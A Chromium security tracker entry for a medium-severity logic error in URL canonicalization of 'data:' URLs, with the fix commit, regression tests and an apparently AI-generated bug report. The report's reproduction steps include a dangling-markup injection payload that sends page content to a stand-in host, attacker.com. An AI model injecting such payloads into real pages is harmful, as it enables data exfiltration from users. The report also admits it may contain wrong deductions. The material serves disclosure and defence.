Medium chrome Logic Error 📄 Reporter bug report 🔧 Commit mapped

Overview

Medium
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactImproper input validation in Network
DescriptionImproper input validation in Network
ComponentNetwork
Bug ClassLogic Error
Tracker513392351
Fix commit58101a0c47e0 (chromium/src) +71/-4
CISA KEVNot listed
CreditedGoogle
Disclosed2026-08-25

Changed Functions

FunctionChangeNotes
TEST_F
url/url_util_unittest.cc
modified
for
url/url_util_unittest.cc
modified

Files Changed

  • url/url_canon_etc.cc
  • url/url_util_unittest.cc
From 58101a0c47e06a2ec0ed30877083e908c3d1b8af Mon Sep 17 00:00:00 2001
From: Hayato Ito <hayato@chromium.org>
Date: Mon, 29 Jun 2026 17:29:44 -0700
Subject: [PATCH] url: Match data: case-insensitively when skipping whitespace

RemoveUrlWhitespace() preserves whitespace inside data: URLs but matched
the scheme via a literal lowercase byte compare anchored at offset zero.
Since URL schemes are ASCII case-insensitive and canonicalized to
lowercase later, "data:,a\nb" and "DATA:,a\nb" took different paths and
produced different canonical specs and potentially_dangling_markup
values. The same divergence occurred for relative inputs with leading
tab/CR/LF, where TrimUrl has not yet run.

Step over leading removable whitespace and compare the scheme
ASCII-case-insensitively so all spellings of the data: scheme are
handled identically.

Historical Context & Rationale:

1. http://crrev.com/c/514024: The `potentially_dangling_markup` flag was
introduced to mitigate dangling markup injection attacks by detecting
the coexistence of newlines and '<' in URLs.

2. http://crrev.com/c/616664: The `data:` URL exception was introduced
to skip whitespace removal for `data:` URLs. This was crucial to
preserve the payload and allow embedded URLs inside `data:` URLs to be
properly checked for dangling markup by the parser.

Thus, this dangling markup mitigation and its `data:` exception are
Chromium-specific behaviors. It was originally proposed in WHATWG URL PR
#284 (https://github.com/whatwg/url/pull/284) and WHATWG Fetch PR #519
(https://github.com/whatwg/fetch/pull/519) but never merged into the
standards.

Even though the `data:` exception is Chromium-specific, it must respect
the fundamental invariants of the URL standard—namely, that schemes are
case-insensitive and leading whitespace is ignorable. This change
ensures `DATA:` and `\tdata:` behave identically to `data:`.

TAG=agy

Bug: 513392351
Change-Id: If997553c2b6301993f5833bba4fdb92eb3288a1e
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/8018050
Commit-Queue: Hayato Ito <hayato@chromium.org>
Reviewed-by: Kenichi Ishibashi <bashi@chromium.org>
Reviewed-by: Kent Tamura <tkent@chromium.org>
Cr-Commit-Position: refs/heads/main@{#1654493}
---

diff --git a/url/url_canon_etc.cc b/url/url_canon_etc.cc
index 9bd617b..97071b7 100644
--- a/url/url_canon_etc.cc
+++ b/url/url_canon_etc.cc
@@ -64,14 +64,25 @@
     return input;
   }
 
-  // Skip whitespace removal for `data:` URLs.
+  // Skip whitespace removal for `data:` URLs. The scheme is matched
+  // ASCII-case-insensitively and after stepping over any leading removable
+  // whitespace, so that the result is the same regardless of how the scheme
+  // is spelled.
   //
   // TODO(mkwst): Ideally, this would use something like `base::StartsWith`, but
   // that turns out to be difficult to do correctly given this function's
   // character type templating.
-  if (input.length() > 5 && input[0] == 'd' && input[1] == 'a' &&
-      input[2] == 't' && input[3] == 'a' && input[4] == ':') {
-    return input;
+  size_t scheme_start = 0;
+  while (scheme_start < input.length() &&
+         IsRemovableURLWhitespace(input[scheme_start])) {
+    ++scheme_start;
+  }
+  std::basic_string_view<CHAR> trimmed = input.substr(scheme_start);
+  if (trimmed.length() > 5 && (trimmed[0] == 'd' || trimmed[0] == 'D') &&
+      (trimmed[1] == 'a' || trimmed[1] == 'A') &&
+      (trimmed[2] == 't' || trimmed[2] == 'T') &&
+      (trimmed[3] == 'a' || trimmed[3] == 'A') && trimmed[4] == ':') {
+    return trimmed;
   }
 
   // Remove the whitespace into the new buffer and return it.
diff --git a/url/url_util_unittest.cc b/url/url_util_unittest.cc
index fb5bbb5..24ca717e2 100644
--- a/url/url_util_unittest.cc
+++ b/url/url_util_unittest.cc
@@ -431,6 +431,62 @@
   }
 }
 
+TEST_F(URLUtilTest, DataURLWhitespaceHandlingIsSchemeCaseInsensitive) {
+  // Whitespace removal is skipped for data: URLs so that the body is
+  // preserved verbatim. Scheme matching is ASCII case-insensitive, so the
+  // skip must apply regardless of the case used to spell the scheme, and
+  // regardless of any tab/CR/LF preceding it.
+  struct {
+    const char* input;
+    const char* canonicalized;
+    bool potentially_dangling_markup;
+  } cases[] = {
+      {"data:text/html,a\nb", "data:text/html,a%0Ab", false},
+      {"DATA:text/html,a\nb", "data:text/html,a%0Ab", false},
+      {"Data:text/html,a\nb", "data:text/html,a%0Ab", false},
+      {"dAtA:text/html,a\nb", "data:text/html,a%0Ab", false},
+      {"data:text/html,<a\nb", "data:text/html,<a%0Ab", false},
+      {"DATA:text/html,<a\nb", "data:text/html,<a%0Ab", false},
+      {"\tdata:text/html,a\nb", "data:text/html,a%0Ab", false},
+      {"\tDATA:text/html,a\nb", "data:text/html,a%0Ab", false},
+      {"\r\n\tdata:text/html,<a\nb", "data:text/html,<a%0Ab", false},
+      // Inputs that merely contain "data:" later still have whitespace
+      // removed as usual.
+      {"dat\ta:text/html,<ab", "data:text/html,<ab", true},
+  };
+
+  for (const auto& test : cases) {
+    SCOPED_TRACE(test.input);
+
+    // Direct canonicalization.
+    {
+      Parsed parsed;
+      std::string out;
+      StdStringCanonOutput output(&out);
+      ASSERT_TRUE(Canonicalize(test.input, true, nullptr, &output, &parsed));
+      output.Complete();
+      EXPECT_EQ(test.canonicalized, out);
+      EXPECT_EQ(test.potentially_dangling_markup,
+                parsed.potentially_dangling_markup);
+    }
+
+    // Resolution against a base URL.
+    {
+      const char* base = "https://example.com/";
+      Parsed base_parsed = ParseStandardUrl(base);
+      Parsed parsed;
+      std::string out;
+      StdStringCanonOutput output(&out);
+      ASSERT_TRUE(ResolveRelative(base, base_parsed, test.input, nullptr,
+                                  &output, &parsed));
+      output.Complete();
+      EXPECT_EQ(test.canonicalized, out);
+      EXPECT_EQ(test.potentially_dangling_markup,
+                parsed.potentially_dangling_markup);
+    }
+  }
+}
+
 TEST_F(URLUtilTest, PotentiallyDanglingMarkupAfterReplacement) {
   // Parse a URL with potentially dangling markup.
   Parsed original_parsed;
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/url/url_util_unittest.cc b/url/url_util_unittest.cc
index fb5bbb5..24ca717e2 100644
--- a/url/url_util_unittest.cc
+++ b/url/url_util_unittest.cc
@@ -431,6 +431,62 @@
   }
 }
 
+TEST_F(URLUtilTest, DataURLWhitespaceHandlingIsSchemeCaseInsensitive) {
+  // Whitespace removal is skipped for data: URLs so that the body is
+  // preserved verbatim. Scheme matching is ASCII case-insensitive, so the
+  // skip must apply regardless of the case used to spell the scheme, and
+  // regardless of any tab/CR/LF preceding it.
+  struct {
+    const char* input;
+    const char* canonicalized;
+    bool potentially_dangling_markup;
+  } cases[] = {
+      {"data:text/html,a\nb", "data:text/html,a%0Ab", false},
+      {"DATA:text/html,a\nb", "data:text/html,a%0Ab", false},
+      {"Data:text/html,a\nb", "data:text/html,a%0Ab", false},
+      {"dAtA:text/html,a\nb", "data:text/html,a%0Ab", false},
+      {"data:text/html,<a\nb", "data:text/html,<a%0Ab", false},
+      {"DATA:text/html,<a\nb", "data:text/html,<a%0Ab", false},
+      {"\tdata:text/html,a\nb", "data:text/html,a%0Ab", false},
+      {"\tDATA:text/html,a\nb", "data:text/html,a%0Ab", false},
+      {"\r\n\tdata:text/html,<a\nb", "data:text/html,<a%0Ab", false},
+      // Inputs that merely contain "data:" later still have whitespace
+      // removed as usual.
+      {"dat\ta:text/html,<ab", "data:text/html,<ab", true},
+  };
+
+  for (const auto& test : cases) {
+    SCOPED_TRACE(test.input);
+
+    // Direct canonicalization.
+    {
+      Parsed parsed;
+      std::string out;
+      StdStringCanonOutput output(&out);
+      ASSERT_TRUE(Canonicalize(test.input, true, nullptr, &output, &parsed));
+      output.Complete();
+      EXPECT_EQ(test.canonicalized, out);
+      EXPECT_EQ(test.potentially_dangling_markup,
+                parsed.potentially_dangling_markup);
+    }
+
+    // Resolution against a base URL.
+    {
+      const char* base = "https://example.com/";
+      Parsed base_parsed = ParseStandardUrl(base);
+      Parsed parsed;
+      std::string out;
+      StdStringCanonOutput output(&out);
+      ASSERT_TRUE(ResolveRelative(base, base_parsed, test.input, nullptr,
+                                  &output, &parsed));
+      output.Complete();
+      EXPECT_EQ(test.canonicalized, out);
+      EXPECT_EQ(test.potentially_dangling_markup,
+                parsed.potentially_dangling_markup);
+    }
+  }
+}
+
 TEST_F(URLUtilTest, PotentiallyDanglingMarkupAfterReplacement) {
   // Parse a URL with potentially dangling markup.
   Parsed original_parsed;
Loading diff…

Original Bug Report

reported by vm...@google.com

Bypass of dangling markup mitigation via case-sensitive 'data:' prefix check

Project Fortify, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports. Please see https://chromium.googlesource.com/chromium/src/+/main/docs/security/ai-generated-security-bugs-faq.md for more information.

Overview: A logic error in the URL canonicalizer’s whitespace handling allows ‘data:’ URLs to bypass dangling markup detection. This occurs because a case-sensitive prefix check causes an early return, skipping the security flag assignment required to block dangerous resource loads.

Affected files:

  • url/url_canon_etc.cc
  • url/url_util.cc
  • third_party/blink/renderer/core/html/html_link_element.cc

Estimated timestamp from git blame: 2017-08-21

Potential Vulnerability: Dangling Markup Mitigation Bypass for data: URLs

A logic error exists in the URL canonicalizer’s whitespace removal function that leads to inconsistent behavior and a potential security bypass for data: URLs. Specifically, the function DoRemoveUrlWhitespace in url/url_canon_etc.cc contains a case-sensitive check for the data: scheme that improperly allows lowercase data: URLs to skip security flag assignment.

Root Cause Analysis

In url/url_canon_etc.cc, the following optimization exists to skip whitespace removal for data: URLs:

// url/url_canon_etc.cc line 72
if (input.length() > 5 && input[0] == 'd' && input[1] == 'a' &&
    input[2] == 't' && input[3] == 'a' && input[4] == ':') {
  return input;
}

This check is implemented using a case-sensitive comparison. When a URL starts with lowercase data:, the function returns the input string immediately. However, if the scheme is provided in any other case (e.g., DATA:), the check fails, and the function proceeds to the main loop (starting at line 78):

for (const CHAR ch : input) {
  if (!IsRemovableURLWhitespace(ch)) {
    if (potentially_dangling_markup && ch == 0x3C) {
      *potentially_dangling_markup = true;
    }
    buffer->push_back(ch);
  }
}

This loop is responsible for setting the potentially_dangling_markup flag when a < character (0x3C) is encountered in a URL that contains removable whitespace (newlines, tabs, or carriage returns). By returning early for lowercase data:, the canonicalizer fails to set this security flag even if the URL contains dangerous markup characters.

Impact

  1. Dangling Markup Mitigation Bypass: Blink’s HTMLLinkElement::ShouldLoadLink (third_party/blink/renderer/core/html/html_link_element.cc:246) relies on the PotentiallyDanglingMarkup() flag to block loads that might be part of an exfiltration attack. An attacker can use a lowercase data: prefix to ensure this flag is never set, bypassing the defense-in-depth mechanism that prevents data theft via unclosed attributes in injected tags.
  2. Parser Differential: According to the WHATWG URL Standard, schemes are case-insensitive. Chrome’s implementation creates a discrepancy where data:text/html,a\nb preserves the newline, while DATA:text/html,a\nb strips it. This can lead to bypasses of server-side security filters that use WHATWG-compliant parsers.

Potential Reproduction Steps

  1. Inject a <link> element with an unclosed href attribute starting with lowercase data:: <link rel="stylesheet" href="data:text/css,body{background:url('https://attacker.com/log?">.
  2. Note that the browser consumes the subsequent page content (including newlines and < characters) into the attribute value.
  3. Observe that HTMLLinkElement::ShouldLoadLink allows the load because the potentially_dangling_markup flag was not set during URL resolution.
  4. Compare this with the behavior when using DATA:, which correctly triggers the mitigation and blocks the load.

Suggested Fix

Modify DoRemoveUrlWhitespace in url/url_canon_etc.cc to use a case-insensitive prefix check. Furthermore, ensure that even if whitespace removal is skipped for data: URLs, the input string is still scanned to set the potentially_dangling_markup flag if it contains markup characters and removable whitespace. This can be achieved by integrating the flag-setting logic into the early-return path or by standardizing whitespace removal for all schemes in compliance with the URL Standard.

Evaluated with Chrome root at commit: b3153093eb3c78c3e88ccf562bcbc20437a04b0e


Results so far have been promising, but there can be wrong deductions. Feel free to adjust as follows:

  • If you are familiar with the severity guidelines, you may adjust the severity.
  • If this is a false positive, and there’s no work to be done, please close as WAI.
  • If there is work to do here but not a vulnerability, please change the issue type to Task/Bug/FR.

Data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.

View on issue tracker
Links in the report